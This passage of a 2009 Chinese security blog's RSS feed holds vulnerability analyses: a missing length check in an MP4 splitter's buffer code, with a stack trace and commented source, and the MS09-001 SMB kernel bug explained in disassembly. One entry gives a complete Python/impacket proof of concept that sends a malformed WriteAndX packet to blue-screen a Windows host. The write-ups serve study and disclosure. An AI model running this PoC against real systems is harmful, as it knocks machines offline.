.text:10005160&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jmp&nbsp;&nbsp;&nbsp;&nbsp;  short loc_1000516A<br>
.text:10005162 ; ---------------------------------------------------------------------------<br>
.text:10005162<br>
.text:10005162 loc_10005162:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; CODE XREF: sub_10004FF0+58 j<br>
.text:10005162&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; sub_10004FF0+63 j ...<br>
.text:10005162&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; dwMilliseconds<br>
.text:10005164&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;&nbsp;  ds:Sleep<br>
.text:1000516A<br>
.text:1000516A loc_1000516A:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; CODE XREF: sub_10004FF0+151 j<br>
.text:1000516A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; sub_10004FF0+170 j<br>
.text:1000516A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  lea&nbsp;&nbsp;&nbsp;&nbsp;  edx, [esp+2Ch+var_18]<br>
.text:1000516E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  lea&nbsp;&nbsp;&nbsp;&nbsp;  edi, [esi+70h]<br>
.text:10005171&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  edx<br>
.text:10005172&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  ecx, edi<br>
.text:10005174&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;&nbsp;  sub_1000F810<br>
.text:10005179&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  test&nbsp;&nbsp;&nbsp;  eax, eax //eax 始终为0<br>
.text:1000517B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  vuln_here  //跳回去循环到世界尽头吧。<br>
.text:10005181<br>
<br>
有兴趣的大家可以试试，呵呵，问题多多啊，MP4解码器挺恐怖。 <a href="http://hi.baidu.com/vessial/blog/item/f5eeac7ac046bbe52f73b396.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/vessial/blog/category/%C2%A9%B6%B4%B7%D6%CE%F6">漏洞分析</a>&nbsp;<a href="http://hi.baidu.com/vessial/blog/item/f5eeac7ac046bbe52f73b396.html#comment">查看评论</a>]]></description>
        <pubDate>2009-06-07  18:05</pubDate>
        <category><![CDATA[漏洞分析]]></category>
        <author><![CDATA[vessial]]></author>
		<guid>http://hi.baidu.com/vessial/blog/item/f5eeac7ac046bbe52f73b396.html</guid>
</item>

<item>
        <title><![CDATA[MP4解码器一堆漏洞]]></title>
        <link><![CDATA[http://hi.baidu.com/vessial/blog/item/721fa301a8dc49067aec2c87.html]]></link>
        <description><![CDATA[
		
		随便人肉一下就发现好几个，寒，不过MS搞MP4解码器的挺少， post一个最简单的，也就是分配内存的时候没有检测长度，导致构造一个 很长的数据传递进去，造成内存分配失败，异常，crash，不能利用， 仅仅为了本地D.O.S. <br>
0:023&gt; k <br>
ChildEBP RetAddr   0841fcd0 070c62ea kernel32!RaiseException+0x53 0841fd08 070b78e6 MP4Splitter!_CxxThrowException+0x48 [f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\throw.cpp @ 161] 0841fd1c 070b77cc MP4Splitter!AfxThrowMemoryException+0x1b [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\except.cpp @ 222] 0841fd2c 0709e37c MP4Splitter!operator new+0x16 [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxmem.cpp @ 363] 0841fd40 0709e439 MP4Splitter!AP4_DataBuffer::ReallocateBuffer+0x1c [c:\vessial\mpc-hc\src\filters\parser\mp4splitter\ap4\source\core\ap4databuffer.cpp @ 162] 0841fd50 070a23c4 MP4Splitter!AP4_DataBuffer::SetDataSize+0x19 [c:\vessial\mpc-hc\src\filters\parser\mp4splitter\ap4\source\core\ap4databuffer.cpp @ 122] 0841fd68 070a2440 MP4Splitter!AP4_Sample::ReadData+0x44 [c:\vessial\mpc-hc\src\filters\parser\mp4splitter\ap4\source\core\ap4sample.cpp @ 134] 0841fd78 070a6f8b MP4Splitter!AP4_Sample::ReadData+0x10 [c:\vessial\mpc-hc\src\filters\parser\mp4splitter\ap4\source\core\ap4sample.cpp @ 114] 0841fd84 070998d3 MP4Splitter!AP4_Track::ReadSample+0x2b [c:\vessial\mpc-hc\src\filters\parser\mp4splitter\ap4\source\core\ap4track.cpp @ 262] 0841fef8 070b53a9 MP4Splitter!CMP4SplitterFilter::DemuxLoop+0x243 [c:\vessial\mpc-hc\src\filters\parser\mp4splitter\mp4splitter.cpp @ 1039] 0841ffa0 070ad63c MP4Splitter!CBaseSplitterFilter::ThreadProc+0x209 [c:\vessial\mpc-hc\src\filters\parser\basesplitter\basesplitter.cpp @ 912] 0841ffb4 7c80b729 MP4Splitter!CAMThread::InitialThreadProc+0x2c [c:\vessial\mpc-hc\src\filters\baseclasses\wxutil.cpp @ 146]  <br>
<br>
看看这个函数的实现<br>
 AP4_Result AP4_DataBuffer::ReallocateBuffer(AP4_Size size) { <br>
<br>
// check that the existing data fits<br>
 if (m_DataSize &gt; size) return AP4_FAILURE;  <br>
<br>
//这里只比较了传进来的长度不能小于多少，但是没有     比较它不能大于多少，一般情况下，这个size都是从媒体文件中读取出来的，而且这个长度一般要小于整个媒体     文件的长度的，但是它没有判断，如果我们人为在媒体文件中构造一个数据结构的长度字段为0xffffffff，直接     后果就是后面的内存分配失败，Crash，当然，这只是一个简单的漏洞，但是这觉得这反应了一个程序员的素养，     而且这一套代码，有好多产商都在用，比如Baofeng啊，Nero之类的，如果这个分离器被注册，windows media player播放诸如mp4或者3Gpp，3gp之类的文件时，也会crash. <br>
<br>
// allocate a new buffer     <br>
<br>
AP4_Byte* new_buffer = DNew AP4_Byte[size]; //分配内存。 <br>
//copy the contents of the previous buffer ,is any<br>
<br>
 if (m_Buffer &amp;&amp; m_DataSize)<br>
 {   memcpy(new_buffer, m_Buffer, m_DataSize);  }      <br>
// destroy the previous buffer     <br>
<br>
delete[] m_Buffer;      // use the new buffer     <br>
m_Buffer = new_buffer;     m_BufferSize = size;      <br>
return AP4_SUCCESS; }  <br>
<br>
再看这里 <br>
AP4_Result AP4_DataBuffer::SetBuffer(AP4_Byte* buffer, AP4_Size buffer_size)<br>
 {&nbsp;&nbsp;&nbsp;&nbsp;      <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  if (m_BufferIsLocal) {         <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // destroy the local buffer         delete[] m_Buffer;<br>
      }      // we're now using an external buffer     <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  m_BufferIsLocal = false; <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  m_Buffer = buffer;     m_BufferSize = buffer_size; <br>
//对传进来的长度不作任何检测，也怪，一般谁会闲得无聊去改一个mp4媒体 文件里面的数据，人家自然很相信这个长度是有效的，但对于一些XX人而言（比如说我，我会人肉）就很难说了:)      <br>
return AP4_SUCCESS; }   <br>
今天闲着无聊，人肉了一把代码，发现好多问题，等等上图。 <a href="http://hi.baidu.com/vessial/blog/item/721fa301a8dc49067aec2c87.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/vessial/blog/category/%C2%A9%B6%B4%B7%D6%CE%F6">漏洞分析</a>&nbsp;<a href="http://hi.baidu.com/vessial/blog/item/721fa301a8dc49067aec2c87.html#comment">查看评论</a>]]></description>
        <pubDate>2009-06-07  17:43</pubDate>
        <category><![CDATA[漏洞分析]]></category>
        <author><![CDATA[vessial]]></author>
		<guid>http://hi.baidu.com/vessial/blog/item/721fa301a8dc49067aec2c87.html</guid>
</item>

<item>
        <title><![CDATA[MS09-001 SMB Dos Poc Exploit]]></title>
        <link><![CDATA[http://hi.baidu.com/vessial/blog/item/c10dd9161b67f04d21a4e920.html]]></link>
        <description><![CDATA[
		
		今天用python写了一个SMB dos的poc，测试vista sp1，<br>
<br>
一个包过去立刻蓝屏，不过XP SP2不行，因为XP SP2下面默认不允许空会话访问lsarpc,samr等命名管道。<br>
<br>
# MS09-001 SMB Dos Vulnerabilities Poc Exploit<font size="2"><br>
# Author : vessial<br>
# http://hi.baidu.com/vessial<br>
# Todo:<br>
# [+] test vista sp1,system BOSD<br>
# Reference :http://www.microsoft.com/technet/security/Bulletin/MS09-001.mspx<br>
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     http://www.milw0rm.com/exploits/6463<br>
</font>import impacket<br>
from impacket import smb<br>
from impacket import nmb<br>
<br>
<br>
remote = smb.SMBPacket('')<br>
r = smb.SMB('*SMBSERVER','192.168.40.129',None,nmb.TYPE_SERVER,445)<br>
r._login('','','','WORKGROUP')<br>
tid = r.tree_connect_andx('\\\\192.168.40.129\\IPC$')<br>
<br>
<br>
smb1 = smb.NewSMBPacket()<br>
smb1['Flags1'] = 0x18<br>
smb1['Flags2'] = 0xc807<br>
smb1['Tid']&nbsp;&nbsp;&nbsp;     = tid<br>
<br>
<br>
ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)<br>
ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters()<br>
ntCreate['Data']&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     = smb.SMBNtCreateAndX_Data()<br>
ntCreate['Parameters']['FileNameLength'] = 14<br>
ntCreate['Parameters']['AndXOffset'] = 0xdede<br>
ntCreate['Parameters']['CreateFlags'] = 0x16<br>
ntCreate['Parameters']['AccessMask'] = 0x2019f<br>
ntCreate['Parameters']['CreateOptions'] = 0x400040<br>
ntCreate['Parameters']['ShareAccess'] = 7<br>
ntCreate['Parameters']['Impersonation'] = 2<br>
ntCreate['Parameters']['Disposition'] = 1<br>
<br>
ntCreate['Data'] = &quot;\x00\\\x00L\x00S\x00A\x00R\x00P\x00C&quot; + &quot;\x00\x00&quot;<br>
smb1.addCommand(ntCreate)<br>
r.sendSMB(smb1)<br>
<br>
recv=r.recvSMB()<br>
if recv.isValidAnswer(smb.SMB.SMB_COM_NT_CREATE_ANDX):<br>
&nbsp;&nbsp;&nbsp;     ntCreateResponse = smb.SMBCommand(recv['Data'][0])<br>
&nbsp;&nbsp;&nbsp;     ntCreateParameters =smb.SMBNtCreateAndXResponse_Parameters(ntCreateResponse['Parameters'])<br>
&nbsp;&nbsp;&nbsp;     fid = ntCreateParameters['Fid']<br>
<br>
smb1 = smb.NewSMBPacket()<br>
smb1['Flags1'] = 0x18<br>
smb1['Flags2'] = 0<br>
smb1['Tid']&nbsp;&nbsp;&nbsp;     = tid<br>
data = &quot;A&quot;*72<br>
<br>
writeAndX = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)<br>
<br>
<br>
<br>
smb1.addCommand(writeAndX)<br>
<br>
writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters()<br>
writeAndX['Parameters']['Fid'] = fid<br>
writeAndX['Parameters']['AndXOffset'] = 0xdede<br>
writeAndX['Parameters']['Offset'] = 0<br>
writeAndX['Parameters']['WriteMode'] = 8<br>
writeAndX['Parameters']['Remaining'] = len(data)<br>
writeAndX['Parameters']['_reserved'] = -1<br>
writeAndX['Parameters']['DataLength'] = 0xffff<br>
writeAndX['Parameters']['DataOffset'] = 0xffff  <br>
writeAndX['Parameters']['HighOffset'] = 0xcccccccc<br>
writeAndX['Data'] = data<br>
r.sendSMB(smb1) <a href="http://hi.baidu.com/vessial/blog/item/c10dd9161b67f04d21a4e920.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/vessial/blog/category/%C2%A9%B6%B4%B7%D6%CE%F6">漏洞分析</a>&nbsp;<a href="http://hi.baidu.com/vessial/blog/item/c10dd9161b67f04d21a4e920.html#comment">查看评论</a>]]></description>
        <pubDate>2009-01-29  20:26</pubDate>
        <category><![CDATA[漏洞分析]]></category>
        <author><![CDATA[vessial]]></author>
		<guid>http://hi.baidu.com/vessial/blog/item/c10dd9161b67f04d21a4e920.html</guid>
</item>

<item>
        <title><![CDATA[MS09-001中的一个kernel Dos漏洞简单描述]]></title>
        <link><![CDATA[http://hi.baidu.com/vessial/blog/item/30e0f722df9986a34723e8b6.html]]></link>
        <description><![CDATA[
		
		这个漏洞在SMB服务的Write Andx请求包处理时触发，在SrvSmbWriteAndX(x)处理函数中，<br>
<br>
这里是根源性的问题所在，看如下的代码片断<br>
<br>
PAGE:F7EA11BB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; SrvSmbWriteAndX(x)+D9B6 j<br>
PAGE:F7EA11BB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  eax, [ebp+var_2C] ; Write_andX packet//这里是WriteAndx的请求包，不包括SMB头部的<br>
PAGE:F7EA11BE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  movzx&nbsp;&nbsp;  edx, word ptr [eax+17h] ; data offset//这个字段是Write AndX的数据偏移字段，这个偏移是SMB头指针到数据段payload之间的长度，这样SMB头加上这个偏移可以直接定位到数据段了，这个字段可以构造，就是因为可以构造这个偏移，所以SMB头加上这个偏移后，指向了一个非引用的内存地址，而这个地址在npfs.sys中进行了读操作，从而导致DOS攻击，蓝屏了。<br>
PAGE:F7EA11C2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  [ebp+var_48], edx<br>
PAGE:F7EA11C5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  esi, [ebx+70h]  ; SMB packet header//这里是SMB的头部指针<br>
PAGE:F7EA11C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  add&nbsp;&nbsp;&nbsp;&nbsp;  esi, edx //SMB头部指针加上这个数据偏移<br>
PAGE:F7EA11CA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  [ebp+var_4C], esi<br>
PAGE:F7EA11CD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  ecx, [ebx+64h]<br>
PAGE:F7EA11D0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  ecx, [ecx+10h]  ; SMB packet length<br>
PAGE:F7EA11D3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  sub&nbsp;&nbsp;&nbsp;&nbsp;  ecx, edx<br>
PAGE:F7EA11D5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  movzx&nbsp;&nbsp;  edi, word ptr [eax+15h] ; Data length low<br>
PAGE:F7EA11D9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cmp&nbsp;&nbsp;&nbsp;&nbsp;  edi, ecx<br>
PAGE:F7EA11DB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  short loc_F7EA11DF<br>
PAGE:F7EA11DD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  edi, ecx<br>
PAGE:F7EA11DF<br>
PAGE:F7EA11DF loc_F7EA11DF:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; CODE XREF: SrvSmbWriteAndX(x)+107 j<br>
PAGE:F7EA11DF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  [ebp+var_50], edi<br>
PAGE:F7EA11E2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  movzx&nbsp;&nbsp;  ecx, word ptr [eax+11h] ; Remaining<br>
PAGE:F7EA11E6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  [ebp+var_54], ecx<br>
PAGE:F7EA11E9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  ecx, [ebx+68h]  ; SMB packet header<br>
PAGE:F7EA11EC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  movzx&nbsp;&nbsp;  edx, word ptr [ecx+1Ah] ; PID<br>
PAGE:F7EA11F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  ecx, [ebp+var_34]<br>
PAGE:F7EA11F3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  or&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  edx, [ecx+44h]<br>
PAGE:F7EA11F6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  [ebp+var_58], edx<br>
PAGE:F7EA11F9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  2<br>
<br> <a href="http://hi.baidu.com/vessial/blog/item/30e0f722df9986a34723e8b6.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/vessial/blog/category/%C2%A9%B6%B4%B7%D6%CE%F6">漏洞分析</a>&nbsp;<a href="http://hi.baidu.com/vessial/blog/item/30e0f722df9986a34723e8b6.html#comment">查看评论</a>]]></description>
        <pubDate>2009-01-16  16:21</pubDate>
        <category><![CDATA[漏洞分析]]></category>
        <author><![CDATA[vessial]]></author>
		<guid>http://hi.baidu.com/vessial/blog/item/30e0f722df9986a34723e8b6.html</guid>
</item>


</channel>
</rss>